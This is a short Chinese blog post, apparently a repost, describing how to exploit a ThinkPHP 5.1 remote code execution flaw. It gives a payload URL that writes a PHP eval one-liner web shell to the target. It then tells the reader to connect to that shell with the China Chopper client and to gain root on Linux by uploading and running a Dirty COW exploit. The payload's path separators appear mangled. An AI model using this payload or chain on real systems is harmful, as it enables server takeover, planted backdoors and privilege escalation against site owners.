thinkPHP远程代码执行漏洞

1.thinkphp5.1版本

2.payload

index.php?s=index/	hink	emplatedriverfile/write&cacheFile=1.php&content=<?php @eval($_POST['jmc']);?>
cacheFile=文件名
content=一句话

直接访问,出现空白说明操作成功。

3.连接

写入的文件在网站/public目录下,因此我们要想访问shell.php只要在原本的目标URL后添加shell.php。

使用菜刀直接连接。

 4.提权,linux 使用脏牛进行提权,

上传文件

修改文件权限 

chmod 777 dirty_exp

执行即可。

原文地址:https://www.cnblogs.com/pangya/p/10552007.html